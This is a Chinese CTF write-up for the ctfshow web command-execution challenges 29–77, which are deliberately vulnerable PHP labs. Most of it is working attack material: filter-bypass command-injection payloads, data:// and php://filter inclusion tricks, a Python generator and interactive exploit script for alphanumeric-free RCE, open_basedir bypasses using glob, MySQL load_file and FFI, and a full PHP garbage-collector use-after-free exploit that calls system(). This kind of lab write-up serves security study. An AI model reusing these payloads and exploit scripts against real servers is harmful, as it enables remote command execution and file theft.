ctfshow web入门 命令执行(29-77)

Web 命令执行是指攻击者借助Web应用程序里的漏洞,在服务器端执行任意系统命令的一种攻击手段。

原理:

Web 应用程序在处理用户输入时,有时会调用系统命令。若开发人员没有对用户输入进行严格的过滤与验证,攻击者就能够通过构造恶意输入,注入恶意命令,让服务器执行这些命令。

看例题

Web 29

由题目可知:flag被过滤,我们可以猜测flag就在这里,我们尝试使用*来解决这个问题

1.****(过滤特定字符串【例如flag】的情况:)

当我们要读取flag时,遇到过滤了flag关键词的时候,我们可以使用通配符绕过。

通配符我们只需要掌握两个符号,分别是 * 和 ?

* 号表示任意长度字符,最常见的就是一条命令处理多个文件

url/?c=system("tac fla*");

2. 利用参数输入 + eval

?c=eval($_GET[1]);&1=phpinfo();

?c=eval($_GET[1]);&1=system("ls");

?c=eval($_GET[1]);&1=system("tac fla?.php");

3.利用参数+ include (在读取前对内容进行过滤)

(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

**4.**利用cp命令将flag拷贝到别处

?c=system("cp fl?g.php a.txt");

再访问a.txt

Web 30

由题目可知:

(!preg_match("/flag|system|php/i", $c))

https://blog.csdn.net/weixin_39934520/article/details/109231480,查看eval与其他函数对比

system被过滤了,可以使用passthru

?c=passthru("tac fla*");

Web 31

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

?c=eval($_GET[1]);&1=system("tac fla?.php");

Web 32

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 33

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

提示:

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web 34

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 35

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 36

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

0-9被过滤了,换成字母

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 37

题目可知:

if(!preg_match("/flag/i", $c)){

include($c);

echo $flag;

}

提示:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源代码 或者通过包含日志文件拿shell

使用data协议

?c=data://text/plain/,<?php system('tac f*')?>

data协议

data://协议_data协议-CSDN博客

PHP: data:// - Manual 官方文档

data伪协议生成一段数据流,如果有 include(),include会把数据流当成代码进行执行(使用前提:allow_url_include=On)

Web 38

题目可知:

if(!preg_match("/flag|php|file/i", $c)){

include($c);

echo $flag;

}

提示:

nginx的日志文件/var/log/nginx/access.log

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源代码 或者通过包含日志文件拿shell

data协议

?c=data://text/plain/,<?= system('tac f*')?>

php被过滤

<?=短标签相当于<?php echo(使用前提short_open_tag=On

Web 39

由题目可知:

if(!preg_match("/flag/i", $c)){

include($c.".php");

}

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用(不要被.php忽悠到)

?c=data://text/plain,<?php system("tac fla*")?>

Web 40

由题目可知:

c = _GET['c'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\-\|\\=\|\\+\|\\{\|\\\[\|\\\]\|\\}\|\\:\|\\'\|\\"\|\\,\|\\\<\|\\.\|\\\>\|\\/\|\\?\|\\\\\\\\/i", c)){

eval($c);

}

数字和符号都被过滤了???

提示:

show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

  1. ?c=data://text/plain,<?php system("tac fla*")?>

被禁用的()是中文括号,无影响

  1. ?c=eval(array_pop(next(get_defined_vars())));

post传1=system("tac flag.php");

参考 RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园

  1. ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

  2. ?c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd()函数返回当前工作目录,可以替代pos(localconv())

pos()输出数组的第一个元素,不改变指针

current()函数返回数组中的当前元素,默认为第一个值,和pos一样

scandir()函数返回执行目录中的文件和目录的数组。这里的参数为"."遍历当前目录

array_reverse()数组逆置

show_source()显示源码

Web 41

由题目可知:

if(isset($_POST['c'])){

c = _POST['c'];

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\\|\\\[\|\\\]\|\\{\|\\}\|\\\&\|\\-/i', c)){

eval("echo($c);");

}

无字母数字RCE(通过特殊字符构造字母实现代码执行

参考文章 ctfshow web入门 web41_ctfshow web41-CSDN博客

参考文章 ctfshow-web入门-命令执行(web41_exp与分析)_ctfshow web41-CSDN博客

python 复制代码
import re # 用于处理正则表达式

 

# 定义给定的正则表达式模式

preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'

 

# 初始化内容字符串

content = ''

 

# 循环遍历ASCII码表中的所有字符对

for i in range(256):

    for j in range(256):

        # 如果字符i和j不匹配给定的正则表达式模式

        if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)): # re.I表示忽略大小写

            # 将字符i和j进行按位或运算,得到新的字符k

            k = i | j

            # 如果字符k是ASCII可见字符(范围在32到126之间)

            if k >= 32 and k <= 126:

                # 将字符i和j转换为十六进制形式,并拼接成url编码

                a = '%' + hex(i)[2:].zfill(2)

                b = '%' + hex(j)[2:].zfill(2)

                # 将k对应的字符和i、j转换拼接结果写入txt文件

                content += (chr(k) + ' '+ a + ' ' + b + '\n')

 

# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建

f = open('rce_or.txt', 'w')

# 将生成的内容写入文件

f.write(content)

# 关闭文件

f.close()

 

由于SSL证书问题报错,在第二个脚本在My6n师傅的基础上加入了try-catch块

python 复制代码
​
​
# -*- coding:utf-8 -*-

import requests  # 用于发送HTTP请求

import urllib  # 用于URL编码和解码

from sys import *

import os  # 用于与操作系统进行交互

if (len(argv) != 2):  # 检查参数数量

    print("=" * 50)

    print('USER :python exp.py <url>')

    print("eg:   python exp.py http://ctfshow/")

    print("=" * 50)

    exit(0)

url = argv[1]

def action(arg):

    s1 = ""

    s2 = ""

    for i in arg:

        f = open("rce_or.txt", "r")

        while True:

            t = f.readline()

            if t == "":

                break

            if t[0] == i:

                # print(i)

                s1 += t[2:5]

                s2 += t[6:9]

                break

        f.close()

    output = "(\"" + s1 + "\"|\"" + s2 + "\")"

    return output

while True:

    param = action(input("\n[+] your function: ")) + action(input("[+] your command: "))

    data = {

        'c': urllib.parse.unquote(param)

    }

    try:

        r = requests.post(url, data=data, verify=False)

        print("\n[*] result:\n" + r.text)

    except requests.exceptions.RequestException as e:

        print(f"请求出错: {e}")

​

​

try - except块:

在try块中,使用requests.post方法向目标url发送 POST 请求,携带data数据。这里设置verify=False,表示在请求时不验证服务器的 SSL 证书。这是因为在原报错中,是由于证书验证失败导致请求无法正常进行,设置verify=False就跳过了这一验证步骤。然后打印服务器返回的响应内容。

在except块中,捕获requests.exceptions.RequestException异常,这是requests库中所有请求相关异常的基类。如果请求过程中出现任何问题(例如网络连接问题、服务器无响应等),就会执行这部分代码,打印出具体的错误信息。

Web 42

由题目可知:

system($c." >/dev/null 2>&1");

>/dev/null 2>&1 的含义

这部分是 shell 命令的一部分,用来控制命令的输出:

  • >/dev/null:将命令的标准输出(STDOUT)重定向到 /dev/null,这是一个特殊的设备文件,写入它的内容将会被丢弃,相当于将输出静默化,不会显示在终端或页面上。
  • 2>&1:将命令的标准错误输出(STDERR)重定向到标准输出(STDOUT)。这样做的目的是,即使命令产生了错误信息,也会被一同重定向到 /dev/null,不会显示在页面上。

?c=cat flag.php||ls

Web 43

由题目可知:

if(!preg_match("/\;|cat/i", $c)){

system($c." >/dev/null 2>&1");

}

与42比较,多了一个过滤

?c=tac flag.php||ls

Web 44

由题目可知:

if(!preg_match("/;|cat|flag/i", $c)){

system($c." >/dev/null 2>&1");

}

?c=tac fla*||ls

Web 45

由题目可知:

if(!preg_match("/\;|cat|flag| /i", $c)){

system($c." >/dev/null 2>&1");

}

空格被过滤了,${IFS}

?c=tac${IFS}fla*||ls

Web 46

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*/i", c)){

system($c." >/dev/null 2>&1");

}

$*和数字都被过滤了

?c=tac<fla''g.php||ls(两个单引号'

?c=tac<>fla''g.php||ls

?c=tac%09fla''g.php||ls

?c=tac%09fl?g.php||ls

?c=tac<fl?g.php||ls

?c=tac<>fl?g.php||ls

Web 47

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

?c=tac%09fla?.php||

Web 48

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

?c=tac%09fla?.php||

Web 49

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

Web 50

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

Web 51

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

tac也被过滤了???

?c=t''ac<fla''g.php||

Web 52

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

<>也被过滤了,但是$恢复

?c=t''ac${IFS}fla?.php||

发现flag并不在flag.php中

?c=ls${IFS}/||

发现flag

?c=t''ac${IFS}/fla?||

?c=nl$IFS/fla''g||

参考文章 0018. shell命令--nl_shell nl-CSDN博客

  1. 显示指定文件内容及行号信息

nl /root/.bashrc

  1. 显示指定文件内容及行号信息,空行也加上行号

nl -b a /root/.bashrc

  1. 空行也算一行,并且行号前面自动补0,统一输出格式后显示指定文件内容及行号信息

nl -b a -n rz /root/.bashrc

  1. 设置行号字段的宽度为 N 个字符,并右对齐

nl -n rz -w 2 /root/.bashrc

nl -n rz -w 5 /root/.bashrc

  1. 为非空行添加行号,并设置开始行号为 100

nl -b t -v 100 /root/.bashrc

  1. 使用自定义的分隔符(如顿号)添加行号

nl -s '、' /root/.bashrc

  1. 与其它符号或命令结合使用

nl /etc/ssh/sshd_config | less

grep "$PS1" /etc/bashrc

nl /etc/bashrc | grep "$PS1"

Web 53

由题目可知:

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

?c=c''at${IFS}fla?.php

Web 54

由题目可知:

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

.*c.*a.*t.* 匹配任何包含cat的字符串

ls还存在,可以看到flag在flag.php中

参考 ctf.show

把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

?c=/bin/?at${IFS}f???????

查看源码得到flag

Web 55

无字母RCE5

由题目可知:

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

字母又被过滤了???

%也被过滤了.....

构造一个post数据上传包?

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<form action="http://b3df1a2e-05d1-4146-93b5-a2e7a507deb5.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

抓包,传参数

参考文章

无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客

Web 56

由题目可知:

if(!preg_match("/\;|[a-z]|[0-9]|\\\|\\(\|\\{\|\\'\|\\"\|\\\`\|\\%\|\\x09\|\\x26\|\\\>\|\\\c)){

system($c);

}

和web55一样

参考文章

无字母数字的命令执行(ctfshow web入门 56)_ctfshow56-CSDN博客

Web 57

由题目可知:

//flag in 36.php

if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){

system("cat ".$c.".php");

}

设一个非零整数为n,其取反后的结果为~n,在以k位二进制补码表示的整数范围内(有符号整数),~n=-(n+1)。

?c=((\~((((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))))))

查看网页源代码,得到flag

Web 58

由题目可知:

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}else{

highlight_file(FILE);

}

发现题目对于system 等函数都过滤了

c=highlight_file("flag.php");

c=show_source("flag.php");

highlight_file() 函数的作用是将指定文件的源代码以语法高亮的HTML的格式输出

show_source()函数的作用也是将指定文件的源代码以语法高亮的HTML的格式输出

两个函数的作用基本相同

Web 59

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 60

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 61

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 62

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 63

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 64

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 65

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 66

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

$flag="秀秀得了,这次不在这里";

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,上面几个都是一样的(58-65

c=print_r(scandir("/"));

发现有flag.txt

c=highlight_file("/flag.txt");

scandir("/"):指定对"/"根目录进行扫描

print_r():以可读的格式输出变量

Web 68

由题目可知:

Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

highlight_file这次也被禁用了

c=include("/flag.txt");

c=var_dump(scandir("/"));

c=readgzfile("/flag.txt");

Web 69

由题目可知:

Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

c=include("/flag.txt");

var_dump()被过滤了

Web 70

由题目可知:

Warning : error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning : ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21

你要上天吗?

c=var_export(scandir("/"));

c=include("/flag.txt");

Web 71

由题目可知:

给了一个index.php

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

$s = ob_get_contents();

ob_end_clean();

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

}

ob_get_contents():该函数会返回当前输出缓冲区的内容,但不会清空缓冲区

ob_end_clean():该函数会清空当前输出缓冲区中的内容,然后关闭缓冲区。这意味着之前存储在缓冲区的内容不会再被发送到浏览器

提示:

我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);

c=var_export(scandir("/"));exit(0);

c=include('/flag.txt');exit(0);

Web 72

由题目可知:

给了一个index.php

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

$s = ob_get_contents();

ob_end_clean();

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

}

var_export()被过滤了

尝试读取目录的时候发现开启了basedir限制,绕过尝试使用glob协议

c=$a="glob:///*.txt";

if(b=opendir(a)){

while((file=readdir(b)) !== false){

echo "filename:".$file."\n";

}

closedir($b);

}

exit();

发现只有一个flag0.txt

粘贴脚本,url编码

php 复制代码
c=function ctfshow($cmd) { global $abc, $helper, $backtrace;

class Vuln {
    public $a;
    public function __destruct() {
        global $backtrace;
        unset($this->a);
        $backtrace = (new Exception)->getTrace();
        if(!isset($backtrace[1]['args'])) {
            $backtrace = debug_backtrace();
        }
    }
}

class Helper {
    public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p+$j]);
    }
    return $address;
}

function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= sprintf("%c",($ptr & 0xff));
        $ptr >>= 8;
    }
    return $out;
}

function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = sprintf("%c",($v & 0xff));
        $v >>= 8;
    }
}

function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
}

function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) {
            $text_size = $p_memsz;
        }
    }

if(!$data_addr || !$text_size || !$data_size)
        return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
           
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

$leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
           
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
    die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
}

$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();

}

ctfshow("cat /flag0.txt");ob_end_flush(); ?>

原理:利用php垃圾回收,回收漏洞实现绕过basedir

具体看b站ctfshow的web72讲解

Web 73

由题目可知:

c=var_export(scandir("/"));exit(0);

发现有一个flagc.txt

c=include("/flagc.txt");exit(0);

Web 74

由题目可知:

c=var_export(scandir("/"));exit(0);

显示NULL??

但是print_r和var_dump还是被过滤的状态

c=var_export(glob('../../..'.'/*'));exit();

golb:// 用于查找匹配文件路径模式的php伪协议

. 在php中属于字符串连接运算符,在这里将'../../..'和'/*'连接起来形成新的字符串

../../.. 表示当前所在目录向上三级的目录

/* 是通配符,意味着该目录下的所有文件以及文件夹

c=include("/flagx.txt");exit();

Web 75

由题目可知:

c=var_export(glob('../../..'.'/*'));exit(0);显示false

ctfshow-web入门-命令执行(web71-web74)_web72-CSDN博客

ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-CSDN博客

参考Myon5师傅的文章,(注意缩进问题

c=$a=new DirectoryIterator("glob:///*");

foreach(a as f)

{

echo($f->__toString().' ');

}

exit(0);

$a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象,遍历根目录

foreach (a as f) { // 遍历每个条目

echo($f->__toString() . ' '); // 输出条目的名称,并添加一个空格

}

exit(0); // 终止脚本执行

使用golb协议绕过open_basedir查看根目录下文件,发现flag36.txt

c=try {

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

} catch (PDOException $e) {

echo $e->getMessage();

die();

};exit();

利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。

try {

// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

// 输出读取到的内容,并追加一个竖线(|)

echo($row[0])."|";

}

// 将数据库连接对象设置为null,关闭连接

$dbh = null;

} catch (PDOException $e) {

// 如果发生PDO异常,输出错误信息

echo $e->getMessage();

// 终止脚本执行

die();

}

// 终止脚本执行

exit();

$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。

PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。

DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。

foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

Web 76

由题目可知:

c=$a=new DirectoryIterator("glob:///*");

foreach(a as f)

{

echo($f->__toString().' ');

}

exit(0);

查看根目录下的文件

c=try {

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

foreach(dbh-\>query('select load_file("/flag36d.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

} catch (PDOException $e) {

echo $e->getMessage();

die();

};exit();

Web 77

由题目可知:

c=$a=new DirectoryIterator("glob:///*");

foreach(a as f)

{

echo($f->__toString().' ');

}

exit(0);

查看根目录下的文件

发现有flag36.txt和readflag

c=try {

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

foreach(dbh-\>query('select load_file("/flag36d.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

} catch (PDOException $e) {

echo $e->getMessage();

die();

};exit();

could not find driver

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象

$a='/readflag > 1.txt';//没有回显的

ffi-\>system(a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;

之后执行 /readflag 程序并将其输出重定向到文件 1.txt;

通过 FFI 对象 ffi 调用了前面定义的 system 函数,并传递了字符串变量 a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。

ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-CSDN博客

看了佬的文章,慢慢理解

相关推荐
小小小小宇5 分钟前
PC和WebView白屏检测
前端
天天扭码17 分钟前
ES6 Symbol 超详细教程:为什么它是避免对象属性冲突的终极方案?
前端·javascript·面试
小矮马21 分钟前
React-组件和props
前端·javascript·react.js
懒羊羊我小弟24 分钟前
React Router v7 从入门到精通指南
前端·react.js·前端框架
DC...1 小时前
vue滑块组件设计与实现
前端·javascript·vue.js
Mars狐狸1 小时前
AI项目改用服务端组件实现对话?包体积减小50%!
前端·react.js
H5开发新纪元1 小时前
Vite 项目打包分析完整指南:从配置到优化
前端·vue.js
嘻嘻嘻嘻嘻嘻ys1 小时前
《Vue 3.3响应式革新与TypeScript高效开发实战指南》
前端·后端
恋猫de小郭1 小时前
腾讯 Kuikly 正式开源,了解一下这个基于 Kotlin 的全平台框架
android·前端·ios
2301_799404912 小时前
如何修改npm的全局安装路径?
前端·npm·node.js